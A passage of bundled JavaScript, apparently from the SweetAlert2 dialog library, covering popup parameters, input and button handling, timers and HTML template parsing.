  2829. focusConfirm: true,
  2830. focusDeny: false,
  2831. focusCancel: false,
  2832. returnFocus: true,
  2833. showCloseButton: false,
  2834. closeButtonHtml: "&times;",
  2835. closeButtonAriaLabel: "Close this dialog",
  2836. loaderHtml: "",
  2837. showLoaderOnConfirm: false,
  2838. showLoaderOnDeny: false,
  2839. imageUrl: void 0,
  2840. imageWidth: void 0,
  2841. imageHeight: void 0,
  2842. imageAlt: "",
  2843. timer: void 0,
  2844. timerProgressBar: false,
  2845. width: void 0,
  2846. padding: void 0,
  2847. background: void 0,
  2848. input: void 0,
  2849. inputPlaceholder: "",
  2850. inputLabel: "",
  2851. inputValue: "",
  2852. inputOptions: {},
  2853. inputAutoTrim: true,
  2854. inputAttributes: {},
  2855. inputValidator: void 0,
  2856. returnInputValueOnDeny: false,
  2857. validationMessage: void 0,
  2858. grow: false,
  2859. position: "center",
  2860. progressSteps: [],
  2861. currentProgressStep: void 0,
  2862. progressStepsDistance: void 0,
  2863. willOpen: void 0,
  2864. didOpen: void 0,
  2865. didRender: void 0,
  2866. willClose: void 0,
  2867. didClose: void 0,
  2868. didDestroy: void 0,
  2869. scrollbarPadding: true
  2870. };
  2871. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2872. const deprecatedParams = {};
  2873. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2874. const isValidParameter = (paramName) => {
  2875. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2876. };
  2877. const isUpdatableParameter = (paramName) => {
  2878. return updatableParams.indexOf(paramName) !== -1;
  2879. };
  2880. const isDeprecatedParameter = (paramName) => {
  2881. return deprecatedParams[paramName];
  2882. };
  2883. const checkIfParamIsValid = (param) => {
  2884. if (!isValidParameter(param)) {
  2885. warn(`Unknown parameter "${param}"`);
  2886. }
  2887. };
  2888. const checkIfToastParamIsValid = (param) => {
  2889. if (toastIncompatibleParams.includes(param)) {
  2890. warn(`The parameter "${param}" is incompatible with toasts`);
  2891. }
  2892. };
  2893. const checkIfParamIsDeprecated = (param) => {
  2894. if (isDeprecatedParameter(param)) {
  2895. warnAboutDeprecation(param, isDeprecatedParameter(param));
  2896. }
  2897. };
  2898. const showWarningsForParams = (params) => {
  2899. if (params.backdrop === false && params.allowOutsideClick) {
  2900. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2901. }
  2902. for (const param in params) {
  2903. checkIfParamIsValid(param);
  2904. if (params.toast) {
  2905. checkIfToastParamIsValid(param);
  2906. }
  2907. checkIfParamIsDeprecated(param);
  2908. }
  2909. };
  2910. function update(params) {
  2911. const popup = getPopup();
  2912. const innerParams = privateProps.innerParams.get(this);
  2913. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2914. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2915. return;
  2916. }
  2917. const validUpdatableParams = filterValidParams(params);
  2918. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2919. render(this, updatedParams);
  2920. privateProps.innerParams.set(this, updatedParams);
  2921. Object.defineProperties(this, {
  2922. params: {
  2923. value: Object.assign({}, this.params, params),
  2924. writable: false,
  2925. enumerable: true
  2926. }
  2927. });
  2928. }
  2929. const filterValidParams = (params) => {
  2930. const validUpdatableParams = {};
  2931. Object.keys(params).forEach((param) => {
  2932. if (isUpdatableParameter(param)) {
  2933. validUpdatableParams[param] = params[param];
  2934. } else {
  2935. warn(`Invalid parameter to update: ${param}`);
  2936. }
  2937. });
  2938. return validUpdatableParams;
  2939. };
  2940. function _destroy() {
  2941. const domCache = privateProps.domCache.get(this);
  2942. const innerParams = privateProps.innerParams.get(this);
  2943. if (!innerParams) {
  2944. disposeWeakMaps(this);
  2945. return;
  2946. }
  2947. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2948. globalState.swalCloseEventFinishedCallback();
  2949. delete globalState.swalCloseEventFinishedCallback;
  2950. }
  2951. if (typeof innerParams.didDestroy === "function") {
  2952. innerParams.didDestroy();
  2953. }
  2954. disposeSwal(this);
  2955. }
  2956. const disposeSwal = (instance) => {
  2957. disposeWeakMaps(instance);
  2958. delete instance.params;
  2959. delete globalState.keydownHandler;
  2960. delete globalState.keydownTarget;
  2961. delete globalState.currentInstance;
  2962. };
  2963. const disposeWeakMaps = (instance) => {
  2964. if (instance.isAwaitingPromise()) {
  2965. unsetWeakMaps(privateProps, instance);
  2966. privateProps.awaitingPromise.set(instance, true);
  2967. } else {
  2968. unsetWeakMaps(privateMethods, instance);
  2969. unsetWeakMaps(privateProps, instance);
  2970. }
  2971. };
  2972. const unsetWeakMaps = (obj, instance) => {
  2973. for (const i in obj) {
  2974. obj[i].delete(instance);
  2975. }
  2976. };
  2977. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2978. __proto__: null,
  2979. hideLoading,
  2980. disableLoading: hideLoading,
  2981. getInput,
  2982. close,
  2983. isAwaitingPromise,
  2984. rejectPromise,
  2985. handleAwaitingPromise,
  2986. closePopup: close,
  2987. closeModal: close,
  2988. closeToast: close,
  2989. enableButtons,
  2990. disableButtons,
  2991. enableInput,
  2992. disableInput,
  2993. showValidationMessage,
  2994. resetValidationMessage,
  2995. update,
  2996. _destroy
  2997. });
  2998. const showLoading = (buttonToReplace) => {
  2999. let popup = getPopup();
  3000. if (!popup) {
  3001. new Swal2();
  3002. }
  3003. popup = getPopup();
  3004. const loader = getLoader();
  3005. if (isToast()) {
  3006. hide(getIcon());
  3007. } else {
  3008. replaceButton(popup, buttonToReplace);
  3009. }
  3010. show(loader);
  3011. popup.setAttribute("data-loading", "true");
  3012. popup.setAttribute("aria-busy", "true");
  3013. popup.focus();
  3014. };
  3015. const replaceButton = (popup, buttonToReplace) => {
  3016. const actions = getActions();
  3017. const loader = getLoader();
  3018. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  3019. buttonToReplace = getConfirmButton();
  3020. }
  3021. show(actions);
  3022. if (buttonToReplace) {
  3023. hide(buttonToReplace);
  3024. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  3025. }
  3026. loader.parentNode.insertBefore(loader, buttonToReplace);
  3027. addClass([popup, actions], swalClasses.loading);
  3028. };
  3029. const handleInputOptionsAndValue = (instance, params) => {
  3030. if (params.input === "select" || params.input === "radio") {
  3031. handleInputOptions(instance, params);
  3032. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  3033. showLoading(getConfirmButton());
  3034. handleInputValue(instance, params);
  3035. }
  3036. };
  3037. const getInputValue = (instance, innerParams) => {
  3038. const input = instance.getInput();
  3039. if (!input) {
  3040. return null;
  3041. }
  3042. switch (innerParams.input) {
  3043. case "checkbox":
  3044. return getCheckboxValue(input);
  3045. case "radio":
  3046. return getRadioValue(input);
  3047. case "file":
  3048. return getFileValue(input);
  3049. default:
  3050. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  3051. }
  3052. };
  3053. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  3054. const getRadioValue = (input) => input.checked ? input.value : null;
  3055. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  3056. const handleInputOptions = (instance, params) => {
  3057. const popup = getPopup();
  3058. const processInputOptions = (inputOptions) => {
  3059. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  3060. };
  3061. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  3062. showLoading(getConfirmButton());
  3063. asPromise(params.inputOptions).then((inputOptions) => {
  3064. instance.hideLoading();
  3065. processInputOptions(inputOptions);
  3066. });
  3067. } else if (typeof params.inputOptions === "object") {
  3068. processInputOptions(params.inputOptions);
  3069. } else {
  3070. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  3071. }
  3072. };
  3073. const handleInputValue = (instance, params) => {
  3074. const input = instance.getInput();
  3075. hide(input);
  3076. asPromise(params.inputValue).then((inputValue) => {
  3077. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  3078. show(input);
  3079. input.focus();
  3080. instance.hideLoading();
  3081. }).catch((err) => {
  3082. error(`Error in inputValue promise: ${err}`);
  3083. input.value = "";
  3084. show(input);
  3085. input.focus();
  3086. instance.hideLoading();
  3087. });
  3088. };
  3089. const populateInputOptions = {
  3090. select: (popup, inputOptions, params) => {
  3091. const select = getDirectChildByClass(popup, swalClasses.select);
  3092. const renderOption = (parent, optionLabel, optionValue) => {
  3093. const option = document.createElement("option");
  3094. option.value = optionValue;
  3095. setInnerHtml(option, optionLabel);
  3096. option.selected = isSelected(optionValue, params.inputValue);
  3097. parent.appendChild(option);
  3098. };
  3099. inputOptions.forEach((inputOption) => {
  3100. const optionValue = inputOption[0];
  3101. const optionLabel = inputOption[1];
  3102. if (Array.isArray(optionLabel)) {
  3103. const optgroup = document.createElement("optgroup");
  3104. optgroup.label = optionValue;
  3105. optgroup.disabled = false;
  3106. select.appendChild(optgroup);
  3107. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  3108. } else {
  3109. renderOption(select, optionLabel, optionValue);
  3110. }
  3111. });
  3112. select.focus();
  3113. },
  3114. radio: (popup, inputOptions, params) => {
  3115. const radio = getDirectChildByClass(popup, swalClasses.radio);
  3116. inputOptions.forEach((inputOption) => {
  3117. const radioValue = inputOption[0];
  3118. const radioLabel = inputOption[1];
  3119. const radioInput = document.createElement("input");
  3120. const radioLabelElement = document.createElement("label");
  3121. radioInput.type = "radio";
  3122. radioInput.name = swalClasses.radio;
  3123. radioInput.value = radioValue;
  3124. if (isSelected(radioValue, params.inputValue)) {
  3125. radioInput.checked = true;
  3126. }
  3127. const label = document.createElement("span");
  3128. setInnerHtml(label, radioLabel);
  3129. label.className = swalClasses.label;
  3130. radioLabelElement.appendChild(radioInput);
  3131. radioLabelElement.appendChild(label);
  3132. radio.appendChild(radioLabelElement);
  3133. });
  3134. const radios = radio.querySelectorAll("input");
  3135. if (radios.length) {
  3136. radios[0].focus();
  3137. }
  3138. }
  3139. };
  3140. const formatInputOptions = (inputOptions) => {
  3141. const result = [];
  3142. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  3143. inputOptions.forEach((value, key) => {
  3144. let valueFormatted = value;
  3145. if (typeof valueFormatted === "object") {
  3146. valueFormatted = formatInputOptions(valueFormatted);
  3147. }
  3148. result.push([key, valueFormatted]);
  3149. });
  3150. } else {
  3151. Object.keys(inputOptions).forEach((key) => {
  3152. let valueFormatted = inputOptions[key];
  3153. if (typeof valueFormatted === "object") {
  3154. valueFormatted = formatInputOptions(valueFormatted);
  3155. }
  3156. result.push([key, valueFormatted]);
  3157. });
  3158. }
  3159. return result;
  3160. };
  3161. const isSelected = (optionValue, inputValue) => {
  3162. return inputValue && inputValue.toString() === optionValue.toString();
  3163. };
  3164. const handleConfirmButtonClick = (instance) => {
  3165. const innerParams = privateProps.innerParams.get(instance);
  3166. instance.disableButtons();
  3167. if (innerParams.input) {
  3168. handleConfirmOrDenyWithInput(instance, "confirm");
  3169. } else {
  3170. confirm(instance, true);
  3171. }
  3172. };
  3173. const handleDenyButtonClick = (instance) => {
  3174. const innerParams = privateProps.innerParams.get(instance);
  3175. instance.disableButtons();
  3176. if (innerParams.returnInputValueOnDeny) {
  3177. handleConfirmOrDenyWithInput(instance, "deny");
  3178. } else {
  3179. deny(instance, false);
  3180. }
  3181. };
  3182. const handleCancelButtonClick = (instance, dismissWith) => {
  3183. instance.disableButtons();
  3184. dismissWith(DismissReason.cancel);
  3185. };
  3186. const handleConfirmOrDenyWithInput = (instance, type) => {
  3187. const innerParams = privateProps.innerParams.get(instance);
  3188. if (!innerParams.input) {
  3189. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  3190. return;
  3191. }
  3192. const inputValue = getInputValue(instance, innerParams);
  3193. if (innerParams.inputValidator) {
  3194. handleInputValidator(instance, inputValue, type);
  3195. } else if (!instance.getInput().checkValidity()) {
  3196. instance.enableButtons();
  3197. instance.showValidationMessage(innerParams.validationMessage);
  3198. } else if (type === "deny") {
  3199. deny(instance, inputValue);
  3200. } else {
  3201. confirm(instance, inputValue);
  3202. }
  3203. };
  3204. const handleInputValidator = (instance, inputValue, type) => {
  3205. const innerParams = privateProps.innerParams.get(instance);
  3206. instance.disableInput();
  3207. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  3208. validationPromise.then((validationMessage) => {
  3209. instance.enableButtons();
  3210. instance.enableInput();
  3211. if (validationMessage) {
  3212. instance.showValidationMessage(validationMessage);
  3213. } else if (type === "deny") {
  3214. deny(instance, inputValue);
  3215. } else {
  3216. confirm(instance, inputValue);
  3217. }
  3218. });
  3219. };
  3220. const deny = (instance, value) => {
  3221. const innerParams = privateProps.innerParams.get(instance || void 0);
  3222. if (innerParams.showLoaderOnDeny) {
  3223. showLoading(getDenyButton());
  3224. }
  3225. if (innerParams.preDeny) {
  3226. privateProps.awaitingPromise.set(instance || void 0, true);
  3227. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  3228. preDenyPromise.then((preDenyValue) => {
  3229. if (preDenyValue === false) {
  3230. instance.hideLoading();
  3231. handleAwaitingPromise(instance);
  3232. } else {
  3233. instance.close({
  3234. isDenied: true,
  3235. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  3236. });
  3237. }
  3238. }).catch((error2) => rejectWith(instance || void 0, error2));
  3239. } else {
  3240. instance.close({
  3241. isDenied: true,
  3242. value
  3243. });
  3244. }
  3245. };
  3246. const succeedWith = (instance, value) => {
  3247. instance.close({
  3248. isConfirmed: true,
  3249. value
  3250. });
  3251. };
  3252. const rejectWith = (instance, error2) => {
  3253. instance.rejectPromise(error2);
  3254. };
  3255. const confirm = (instance, value) => {
  3256. const innerParams = privateProps.innerParams.get(instance || void 0);
  3257. if (innerParams.showLoaderOnConfirm) {
  3258. showLoading();
  3259. }
  3260. if (innerParams.preConfirm) {
  3261. instance.resetValidationMessage();
  3262. privateProps.awaitingPromise.set(instance || void 0, true);
  3263. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  3264. preConfirmPromise.then((preConfirmValue) => {
  3265. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  3266. instance.hideLoading();
  3267. handleAwaitingPromise(instance);
  3268. } else {
  3269. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  3270. }
  3271. }).catch((error2) => rejectWith(instance || void 0, error2));
  3272. } else {
  3273. succeedWith(instance, value);
  3274. }
  3275. };
  3276. const handlePopupClick = (instance, domCache, dismissWith) => {
  3277. const innerParams = privateProps.innerParams.get(instance);
  3278. if (innerParams.toast) {
  3279. handleToastClick(instance, domCache, dismissWith);
  3280. } else {
  3281. handleModalMousedown(domCache);
  3282. handleContainerMousedown(domCache);
  3283. handleModalClick(instance, domCache, dismissWith);
  3284. }
  3285. };
  3286. const handleToastClick = (instance, domCache, dismissWith) => {
  3287. domCache.popup.onclick = () => {
  3288. const innerParams = privateProps.innerParams.get(instance);
  3289. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  3290. return;
  3291. }
  3292. dismissWith(DismissReason.close);
  3293. };
  3294. };
  3295. const isAnyButtonShown = (innerParams) => {
  3296. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  3297. };
  3298. let ignoreOutsideClick = false;
  3299. const handleModalMousedown = (domCache) => {
  3300. domCache.popup.onmousedown = () => {
  3301. domCache.container.onmouseup = function(e) {
  3302. domCache.container.onmouseup = void 0;
  3303. if (e.target === domCache.container) {
  3304. ignoreOutsideClick = true;
  3305. }
  3306. };
  3307. };
  3308. };
  3309. const handleContainerMousedown = (domCache) => {
  3310. domCache.container.onmousedown = () => {
  3311. domCache.popup.onmouseup = function(e) {
  3312. domCache.popup.onmouseup = void 0;
  3313. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  3314. ignoreOutsideClick = true;
  3315. }
  3316. };
  3317. };
  3318. };
  3319. const handleModalClick = (instance, domCache, dismissWith) => {
  3320. domCache.container.onclick = (e) => {
  3321. const innerParams = privateProps.innerParams.get(instance);
  3322. if (ignoreOutsideClick) {
  3323. ignoreOutsideClick = false;
  3324. return;
  3325. }
  3326. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  3327. dismissWith(DismissReason.backdrop);
  3328. }
  3329. };
  3330. };
  3331. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  3332. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  3333. const argsToParams = (args) => {
  3334. const params = {};
  3335. if (typeof args[0] === "object" && !isElement(args[0])) {
  3336. Object.assign(params, args[0]);
  3337. } else {
  3338. ["title", "html", "icon"].forEach((name, index) => {
  3339. const arg = args[index];
  3340. if (typeof arg === "string" || isElement(arg)) {
  3341. params[name] = arg;
  3342. } else if (arg !== void 0) {
  3343. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  3344. }
  3345. });
  3346. }
  3347. return params;
  3348. };
  3349. function fire() {
  3350. const Swal3 = this;
  3351. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3352. args[_key] = arguments[_key];
  3353. }
  3354. return new Swal3(...args);
  3355. }
  3356. function mixin(mixinParams) {
  3357. class MixinSwal extends this {
  3358. _main(params, priorityMixinParams) {
  3359. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  3360. }
  3361. }
  3362. return MixinSwal;
  3363. }
  3364. const getTimerLeft = () => {
  3365. return globalState.timeout && globalState.timeout.getTimerLeft();
  3366. };
  3367. const stopTimer = () => {
  3368. if (globalState.timeout) {
  3369. stopTimerProgressBar();
  3370. return globalState.timeout.stop();
  3371. }
  3372. };
  3373. const resumeTimer = () => {
  3374. if (globalState.timeout) {
  3375. const remaining = globalState.timeout.start();
  3376. animateTimerProgressBar(remaining);
  3377. return remaining;
  3378. }
  3379. };
  3380. const toggleTimer = () => {
  3381. const timer = globalState.timeout;
  3382. return timer && (timer.running ? stopTimer() : resumeTimer());
  3383. };
  3384. const increaseTimer = (n) => {
  3385. if (globalState.timeout) {
  3386. const remaining = globalState.timeout.increase(n);
  3387. animateTimerProgressBar(remaining, true);
  3388. return remaining;
  3389. }
  3390. };
  3391. const isTimerRunning = () => {
  3392. return globalState.timeout && globalState.timeout.isRunning();
  3393. };
  3394. let bodyClickListenerAdded = false;
  3395. const clickHandlers = {};
  3396. function bindClickHandler() {
  3397. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  3398. clickHandlers[attr] = this;
  3399. if (!bodyClickListenerAdded) {
  3400. document.body.addEventListener("click", bodyClickListener);
  3401. bodyClickListenerAdded = true;
  3402. }
  3403. }
  3404. const bodyClickListener = (event) => {
  3405. for (let el = event.target; el && el !== document; el = el.parentNode) {
  3406. for (const attr in clickHandlers) {
  3407. const template = el.getAttribute(attr);
  3408. if (template) {
  3409. clickHandlers[attr].fire({
  3410. template
  3411. });
  3412. return;
  3413. }
  3414. }
  3415. }
  3416. };
  3417. var staticMethods = /* @__PURE__ */ Object.freeze({
  3418. __proto__: null,
  3419. isValidParameter,
  3420. isUpdatableParameter,
  3421. isDeprecatedParameter,
  3422. argsToParams,
  3423. getContainer,
  3424. getPopup,
  3425. getTitle,
  3426. getHtmlContainer,
  3427. getImage,
  3428. getIcon,
  3429. getIconContent,
  3430. getInputLabel,
  3431. getCloseButton,
  3432. getActions,
  3433. getConfirmButton,
  3434. getDenyButton,
  3435. getCancelButton,
  3436. getLoader,
  3437. getFooter,
  3438. getTimerProgressBar,
  3439. getFocusableElements,
  3440. getValidationMessage,
  3441. getProgressSteps,
  3442. isLoading,
  3443. isVisible,
  3444. clickConfirm,
  3445. clickDeny,
  3446. clickCancel,
  3447. fire,
  3448. mixin,
  3449. showLoading,
  3450. enableLoading: showLoading,
  3451. getTimerLeft,
  3452. stopTimer,
  3453. resumeTimer,
  3454. toggleTimer,
  3455. increaseTimer,
  3456. isTimerRunning,
  3457. bindClickHandler
  3458. });
  3459. class Timer {
  3460. constructor(callback, delay) {
  3461. this.callback = callback;
  3462. this.remaining = delay;
  3463. this.running = false;
  3464. this.start();
  3465. }
  3466. start() {
  3467. if (!this.running) {
  3468. this.running = true;
  3469. this.started = new Date();
  3470. this.id = setTimeout(this.callback, this.remaining);
  3471. }
  3472. return this.remaining;
  3473. }
  3474. stop() {
  3475. if (this.running) {
  3476. this.running = false;
  3477. clearTimeout(this.id);
  3478. this.remaining -= new Date().getTime() - this.started.getTime();
  3479. }
  3480. return this.remaining;
  3481. }
  3482. increase(n) {
  3483. const running = this.running;
  3484. if (running) {
  3485. this.stop();
  3486. }
  3487. this.remaining += n;
  3488. if (running) {
  3489. this.start();
  3490. }
  3491. return this.remaining;
  3492. }
  3493. getTimerLeft() {
  3494. if (this.running) {
  3495. this.stop();
  3496. this.start();
  3497. }
  3498. return this.remaining;
  3499. }
  3500. isRunning() {
  3501. return this.running;
  3502. }
  3503. }
  3504. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  3505. const getTemplateParams = (params) => {
  3506. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  3507. if (!template) {
  3508. return {};
  3509. }
  3510. const templateContent = template.content;
  3511. showWarningsForElements(templateContent);
  3512. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  3513. return result;
  3514. };
  3515. const getSwalParams = (templateContent) => {
  3516. const result = {};
  3517. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  3518. swalParams.forEach((param) => {
  3519. showWarningsForAttributes(param, ["name", "value"]);
  3520. const paramName = param.getAttribute("name");
  3521. const value = param.getAttribute("value");
  3522. if (typeof defaultParams[paramName] === "boolean") {
  3523. result[paramName] = value !== "false";
  3524. } else if (typeof defaultParams[paramName] === "object") {
  3525. result[paramName] = JSON.parse(value);
  3526. } else {
  3527. result[paramName] = value;
  3528. }
  3529. });
  3530. return result;
  3531. };
  3532. const getSwalFunctionParams = (templateContent) => {
  3533. const result = {};
  3534. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  3535. swalFunctions.forEach((param) => {
  3536. const paramName = param.getAttribute("name");
  3537. const value = param.getAttribute("value");
  3538. result[paramName] = new Function(`return ${value}`)();
  3539. });
  3540. return result;
  3541. };
  3542. const getSwalButtons = (templateContent) => {
  3543. const result = {};
  3544. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  3545. swalButtons.forEach((button) => {
  3546. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  3547. const type = button.getAttribute("type");
  3548. result[`${type}ButtonText`] = button.innerHTML;
  3549. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  3550. if (button.hasAttribute("color")) {
  3551. result[`${type}ButtonColor`] = button.getAttribute("color");
  3552. }
  3553. if (button.hasAttribute("aria-label")) {
  3554. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  3555. }
  3556. });
  3557. return result;
  3558. };
  3559. const getSwalImage = (templateContent) => {
  3560. const result = {};
  3561. const image = templateContent.querySelector("swal-image");
  3562. if (image) {
  3563. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  3564. if (image.hasAttribute("src")) {
  3565. result.imageUrl = image.getAttribute("src");
  3566. }
  3567. if (image.hasAttribute("width")) {
  3568. result.imageWidth = image.getAttribute("width");
  3569. }
  3570. if (image.hasAttribute("height")) {
  3571. result.imageHeight = image.getAttribute("height");
  3572. }
  3573. if (image.hasAttribute("alt")) {
  3574. result.imageAlt = image.getAttribute("alt");
  3575. }
  3576. }
  3577. return result;
  3578. };
  3579. const getSwalIcon = (templateContent) => {
  3580. const result = {};
  3581. const icon = templateContent.querySelector("swal-icon");
  3582. if (icon) {
  3583. showWarningsForAttributes(icon, ["type", "color"]);
  3584. if (icon.hasAttribute("type")) {
  3585. result.icon = icon.getAttribute("type");
  3586. }
  3587. if (icon.hasAttribute("color")) {
  3588. result.iconColor = icon.getAttribute("color");
  3589. }
  3590. result.iconHtml = icon.innerHTML;
  3591. }
  3592. return result;
  3593. };
  3594. const getSwalInput = (templateContent) => {
  3595. const result = {};
  3596. const input = templateContent.querySelector("swal-input");
  3597. if (input) {
  3598. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  3599. result.input = input.getAttribute("type") || "text";
  3600. if (input.hasAttribute("label")) {
  3601. result.inputLabel = input.getAttribute("label");
  3602. }
  3603. if (input.hasAttribute("placeholder")) {
  3604. result.inputPlaceholder = input.getAttribute("placeholder");
  3605. }
  3606. if (input.hasAttribute("value")) {
  3607. result.inputValue = input.getAttribute("value");
  3608. }
  3609. }
  3610. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  3611. if (inputOptions.length) {
  3612. result.inputOptions = {};
  3613. inputOptions.forEach((option) => {
  3614. showWarningsForAttributes(option, ["value"]);
  3615. const optionValue = option.getAttribute("value");
  3616. const optionName = option.innerHTML;
  3617. result.inputOptions[optionValue] = optionName;
  3618. });
  3619. }
  3620. return result;
  3621. };
  3622. const getSwalStringParams = (templateContent, paramNames) => {
  3623. const result = {};
  3624. for (const i in paramNames) {
  3625. const paramName = paramNames[i];
  3626. const tag = templateContent.querySelector(paramName);
  3627. if (tag) {
  3628. showWarningsForAttributes(tag, []);
  3629. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  3630. }
  3631. }
  3632. return result;
  3633. };
  3634. const showWarningsForElements = (templateContent) => {
  3635. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  3636. Array.from(templateContent.children).forEach((el) => {
  3637. const tagName = el.tagName.toLowerCase();
  3638. if (!allowedElements.includes(tagName)) {
  3639. warn(`Unrecognized element <${tagName}>`);
  3640. }
  3641. });
  3642. };
  3643. const showWarningsForAttributes = (el, allowedAttributes) => {
  3644. Array.from(el.attributes).forEach((attribute) => {
  3645. if (allowedAttributes.indexOf(attribute.name) === -1) {
  3646. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  3647. }
  3648. });
  3649. };
  3650. const SHOW_CLASS_TIMEOUT = 10;
  3651. const openPopup = (params) => {
  3652. const container = getContainer();
  3653. const popup = getPopup();
  3654. if (typeof params.willOpen === "function") {
  3655. params.willOpen(popup);
  3656. }
  3657. const bodyStyles = window.getComputedStyle(document.body);
  3658. const initialBodyOverflow = bodyStyles.overflowY;
  3659. addClasses(container, popup, params);
  3660. setTimeout(() => {
  3661. setScrollingVisibility(container, popup);
  3662. }, SHOW_CLASS_TIMEOUT);
  3663. if (isModal()) {
  3664. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  3665. setAriaHidden();
  3666. }
  3667. if (!isToast() && !globalState.previousActiveElement) {
  3668. globalState.previousActiveElement = document.activeElement;
  3669. }
  3670. if (typeof params.didOpen === "function") {
  3671. setTimeout(() => params.didOpen(popup));
  3672. }
  3673. removeClass(container, swalClasses["no-transition"]);
  3674. };
  3675. const swalOpenAnimationFinished = (event) => {
  3676. const popup = getPopup();
  3677. if (event.target !== popup) {
  3678. return;
  3679. }
  3680. const container = getContainer();
  3681. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  3682. container.style.overflowY = "auto";
  3683. };
  3684. const setScrollingVisibility = (container, popup) => {
  3685. if (animationEndEvent && hasCssAnimation(popup)) {
  3686. container.style.overflowY = "hidden";
  3687. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  3688. } else {
  3689. container.style.overflowY = "auto";
  3690. }
  3691. };
  3692. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  3693. iOSfix();
  3694. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  3695. fixScrollbar();
  3696. }
  3697. setTimeout(() => {
  3698. container.scrollTop = 0;
  3699. });
  3700. };
  3701. const addClasses = (container, popup, params) => {
  3702. addClass(container, params.showClass.backdrop);
  3703. popup.style.setProperty("opacity", "0", "important");
  3704. show(popup, "grid");
  3705. setTimeout(() => {
  3706. addClass(popup, params.showClass.popup);
  3707. popup.style.removeProperty("opacity");
  3708. }, SHOW_CLASS_TIMEOUT);
  3709. addClass([document.documentElement, document.body], swalClasses.shown);
  3710. if (params.heightAuto && params.backdrop && !params.toast) {
  3711. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  3712. }
  3713. };
  3714. var defaultInputValidators = {
  3715. email: (string, validationMessage) => {
